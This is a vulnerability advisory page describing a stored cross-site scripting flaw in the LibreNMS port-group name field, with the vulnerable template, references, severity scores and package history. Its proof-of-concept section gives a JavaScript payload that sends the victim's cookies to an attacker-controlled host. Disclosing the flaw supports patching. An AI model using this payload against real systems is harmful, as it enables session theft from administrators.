LibreNMS /port-groups name Stored Cross-Site Scripting
Summary
/port-groups name Stored Cross-Site Scripting
- HTTP POST
- Request-URI(s): "/port-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.
Details
The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/port-group/index.blade.php:
@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]
<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/stringsAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC
- Login
- Select Ports > Manage Port Groups
- Select New Port Group
- Input
12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver) - Select Save
- Select the Delete Icon for the newly created Port Group
- Select OK
- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | librenms/librenms | < 26.2.0 | 26.2.0 |
Referencias
- https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x
- https://nvd.nist.gov/vuln/detail/CVE-2026-26992
- https://github.com/librenms/librenms/pull/19042
- https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f
- https://github.com/librenms/librenms
- https://github.com/librenms/librenms/releases/tag/26.2.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
librenms/librenms- Publicada
- 18.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-93fx-g747-695x - CC BY 4.0
Historial de vulnerabilidades: librenms/librenms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 106
- Primera → última
- 10.2019 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 5
- Alta 39
- Media 56
- Baja 6
Divulgaciones por año
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
LibreNMS /port-groups name Stored Cross-Site Scripting esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.